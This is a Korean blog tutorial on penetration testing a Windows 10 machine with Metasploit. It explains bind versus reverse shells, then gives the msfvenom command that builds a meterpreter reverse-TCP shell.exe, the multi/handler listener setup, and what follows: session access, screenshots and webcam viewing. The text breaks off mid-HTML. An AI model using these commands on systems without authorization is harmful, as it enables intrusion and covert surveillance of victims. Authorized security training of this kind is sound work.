메타스플로잇 Reverse Shell을 통한 윈도우10 모의해킹

이 글의 내용은 보호 목적으로 작성되었으며 이 게시물의 정보를 잘못 사용하여 허가되지 않은 pc에 해킹을 시도할 경우

해당 대상에게 형사 고발이 발생할 수 있습니다. 이는 모두 귀하의 책임입니다.

반드시 허가된 모의해킹 환경에서만 시도하세요.

 

잘못된 내용을 알려주신다면 내용 확인 후 수정하겠습니다

 

오늘은 칼리 리눅스에 내장되어있는 메타스플로잇에 포함되어있는 msfvenom을 통하여 페이로드를 생성한 후

윈도우 시스템에 침입하는 과정에 대해서 설명해드리겠습니다

 

Metasploit은 다양한 취약점과 관련하여 메타 데이터를 관리하는 프레임워크이며

H.D.무어에 의해 개발되었으며 오픈소스 기반으로 최신 취약점을 빠르게 업데이트해주고 있습니다

 

Metasploit에 대해서 더 알고 싶으신 분은 아래 링크를 참고해주세요

ko.wikipedia.org/wiki/%EB%A9%94%ED%83%80%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9D%B4%ED%8A%B8_%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8

 

메타스플로이트 프로젝트 - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. 메타스플로이트 프로젝트(Metasploit Project)에서 메타스플로이트는 펄 스크립팅 언어를 사용하는 휴대용 네트워크 도구로서 2003년 H. D. 무어에 의해 만들어졌다. �

ko.wikipedia.org

Msfvenom은 metasploit에 포함되어있는 프로그램 중 하나로 공격할 때 사용되는 실행파일을 제작하거나 기본 실행파일에 악성파일을 주입하는 것이 가능합니다

 

 

오늘 강좌에서는 '칼리 리눅스'운영체제를 사용할 겁니다

만약 설치되어 있지 않으시다면 이전에 업로드한 포스팅을 참고하여 설치해주세요

newstroyblog.tistory.com/30?category=876963

 

칼리리눅스(kali linux)2020.3 vmware 설치하는법 + 한글패치

안녕하세요 리눅스에 관한 게시물들이 앞으로 여러 올라올 텐데 모의해킹용으로 적합한 여러 리눅스들 중에서 칼리 리눅스를 많이 사용하게 될 거 같습니다 그래서 오늘은 칼리 리눅스 ISO이미�

newstroyblog.tistory.com

 

그러면 Reverse Shell(리버스 쉘)은 뭘까?

우선 Shell(쉘)에 대해서 설명하자면 키보드에서 명령을 받아 운영체제에 제공하는 프로그램입니다

 

쉘의 유형으로는 'Bind Shell'과 오늘 소개해드릴 'Reverse Shell'이 있습니다

 

Bind Shell

우선 바인드 쉘(Bind Shell)은 피해자 쪽의 포트를 열고 해커가 접속하는 방향의 쉘을 바인드 쉘이라고 하며 일반적으로 우리가 서버를 접속하는 방식이랑 같습니다. 하지만 이럴려면 피해자의 컴퓨터에 공용 Ip가 있고 인터넷을 통해 연결할 수 있는 경우에만 가능합니다. NAT설정을 따로 해줘야 합니다 (DMZ, Twin ip)

위 그림을 보면 알 수 있듯이 해커가 열려있는 포트를 통과하여 피해자에게 접근합니다

 

 

Reverse Shell

그렇다면 피해자에게 직접 접근할 수 없다면 어떻게 연결을 할 수 있을까요??

바로 피해자가 직접 공격자의 컴퓨터에 접근하게 할 수 있습니다.

Reverse Shell은 공용 IP를 가지고 있고 인터넷을 통해 접근할 수 있는 공격자의 운영체제가 서버의 역할을 하게 됩니다.

특정 포트를 열어두고 연결이 들어오기를 기다린 후에 피해자는 클라이언트 역할을 하여 공격자의 수신 서버에 연결을 합니다.

이렇게 할 경우 방화벽을 우회할 수 있습니다.

대부분 방화벽을 사용한다고 하더라도 필수 서버의 연결을 제외하고 모든 접속을 차단하더라도 내부에서 외부로 나가는 접속은 허용시키는 경우가 많습니다.

그렇기에 Reverse Shell을 사용하면 Bind Shell의 침입 단점을 보완할 수 있습니다


우선 터미널을 열고 'msfvenom -h'를 입력하면 msfvenom의 옵션을 확인할 수 있습니다

 

 

msfvenom -h

터미널에서 msfvenom -h 명령어를 입력

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
 
Options:
    -l, --list            <type>     List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
    -p, --payload         <payload>  Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
        --list-options               List --payload <value>'s standard, advanced and evasion options
    -f, --format          <format>   Output format (use --list formats to list)
    -e, --encoder         <encoder>  The encoder to use (use --list encoders to list)
        --service-name    <value>    The service name to use when generating a service binary
        --sec-name        <value>    The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
        --smallest                   Generate the smallest possible payload using all available encoders
        --encrypt         <value>    The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
        --encrypt-key     <value>    A key to be used for --encrypt
        --encrypt-iv      <value>    An initialization vector for --encrypt
    -a, --arch            <arch>     The architecture to use for --payload and --encoders (use --list archs to list)
        --platform        <platform> The platform for --payload (use --list platforms to list)
    -o, --out             <path>     Save the payload to a file
    -b, --bad-chars       <list>     Characters to avoid example: '\x00\xff'
    -n, --nopsled         <length>   Prepend a nopsled of [length] size on to the payload
        --pad-nops                   Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
    -s, --space           <length>   The maximum size of the resulting payload
        --encoder-space   <length>   The maximum size of the encoded payload (defaults to the -s value)
    -i, --iterations      <count>    The number of times to encode the payload
    -c, --add-code        <path>     Specify an additional win32 shellcode file to include
    -x, --template        <path>     Specify a custom executable file to use as a template
    -k, --keep                       Preserve the --template behaviour and inject the payload as a new thread
    -v, --var-name        <value>    Specify a custom variable name to use for certain output formats
    -t, --timeout         <second>   The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
    -h, --help                       Show this message
 
 
 

그러면 많은 명령어들이 나오는데 여기서 자주 사용하는 옵션들은 아래와 같습니다

-l:리스트
-e:인코딩
-f:파일형식
-a:아키텍쳐
-p:Payload
-i:인코딩 횟수
-o:저장 위치

 

 

다음으로 터미널에 msfvenom --l p (l은 list의 줄임말, p는 payload의 줄임말)

혹은 msfvenom --list p 또는 msfvenom --list payload를 입력하여 페이로드 항목을 볼 수 있습니다

페이로드의 종류가 많기에 전부 보여주긴 어려울 거 같습니다

 msfvenom --l p
 or
 msfvenom --list payload
 or
 msfvenom --list p
 or
 msfvenom --l payload
 or
 msfvenom -l -p
 

 

 

msfvenom --l f명령어 입력

다음으로 msfvenom --l f 명령어 혹은 msfvenom --list formats 명령어를 입력하면 다양한 포맷을 확인할 수 있습니다

msfvenom --l f 
or
msfvenom --list formats
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ru@kali:~$ msfvenom --l f
 
Framework Executable Formats [--format <value>]
===============================================
 
    Name
    ----
    asp
    aspx
    aspx-exe
    axis2
    dll
    elf
    elf-so
    exe
    exe-only
    exe-service
    exe-small
    hta-psh
    jar
    jsp
    loop-vbs
    macho
    msi
    msi-nouac
    osx-app
    psh
    psh-cmd
    psh-net
    psh-reflection
    python-reflection
    vba
    vba-exe
    vba-psh
    vbs
    war
 
Framework Transform Formats [--format <value>]
==============================================
 
    Name
    ----
    base32
    base64
    bash
    c
    csharp
    dw
    dword
    hex
    java
    js_be
    js_le
    num
    perl
    pl
    powershell
    ps1
    py
    python
    raw
    rb
    ruby
    sh
    vbapplication
    vbscript
 
 
 

오늘은 exe 페이로드를 사용할 거기 때문에 이점만 알아두고 넘어갑시다

 

윈도우64비트 리버스 쉘 페이로드 생성 명령어는 다음과 같습니다

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe

명령어에 대해서 설명하자면 -p는 앞서 언급한 payload를 지정하고 LHOST는 본인의 아이피나 dns주소를 입력합니다

LPORT는 포트를 입력하면 되고 -f는 포맷 형식인데 우리는 exe 페이로드를 제작하기 위해 exe를 입력하였고 마지막으로 -o는 shell.exe로 페이로드를 생성한다는 의미입니다

여기서 -o /root/shell.exe 로 변경할 경우 루트 디렉터리 안에 shell.exe라는 이름으로 생성되게 됩니다

 

 

우선 본인의 아이피는 터미널에서 ifconfig명령어로 확인할 수 있습니다

빨간 사각형으로 표시한 부분이 본인의 내부 아이피입니다

 

그다음 위에 말한 페이로드 생성 명령어로 본인의 아이피를 적은 후 명령어를 입력한 후

파일 관리자에 들어가 보니 shell.exe라고 정상적으로 페이로드가 생성되었습니다

 

다음으로 터미널 창에 'msfconsole'명령어를 입력해주세요 msfconsole은 리눅스의 shell과 비슷하게 대화형 인터페이스를 제공해줍니다

 

명령어를 입력하면 이런 창이 뜨면서

 

 

이렇게 열리게 됩니다

 

다음과 같이 명령어를 입력해줍니다

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST IP
set LPORT port

 

이후에 정상적으로 입력했나 확인하기 위하여

options 혹은 show options 명령어를 입력하면

 

이렇게 아이피와 포트가 정상적으로 나옵니다

 

이제 마지막으로 'run'명령어를 입력 후에 엔터를 입력하면 됩니다

 

이렇게 나오면 정상적으로 헨들러가 실행됐습니다

 

이제 아까 생성해둔 payload를 윈도우환경에 옮긴 후에 실행해보겠습니다

 


 

윈도우10에 페이로드 shell.exe를 옮긴 후에 실행해보았습니다

 

그러면 세션 한 개가 열렸다고 칼리 리눅스에 표시됩니다

 

여기서 help명령을 입력하게 되면

 

다양한 명령어들이 포함되어 있습니다

오디오 파일을 재생시키거나 디렉터리 내부를 본다거나 프로세스 항목을 보거나 상대 화면을 보거나 웹캠을 보거나 할 수 있습니다

 

많은 명령어 중에 스크린샷 명령어를 입력하게 되면

 

스크린샷 이미지가 저장되며 피해자의 컴퓨터 화면을 볼 수 있습니다

 

 

마지막으로 sessions -h 명령어를 입력하면 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
msf5 exploit(multi/handler) > sessions -h
Usage: sessions [options] or sessions [id]
 
Active session manipulation and interaction.
 
OPTIONS:
 
    -<opt>  Run a Meterpreter Command on the session given with -i, or all
    -K        Terminate all sessions
    -<opt>  Row search filter.
    -<opt>  Run a command on the session given with -i, or all
    -d        List all inactive sessions
    -h        Help banner
    -<opt>  Interact with the supplied session ID
    -<opt>  Terminate sessions by session ID and/or range
    -l        List all active sessions
    -<opt>  Name or rename a session by ID
    -q        Quiet mode
    -<opt>  Run a script or module on the session given with -i, or all
    -<opt>  Set a response timeout (default: 15)
    -<opt>  Upgrade a shell to a meterpreter session on many platforms
    -v        List all active sessions in verbose mode
    <span style="color: #
Top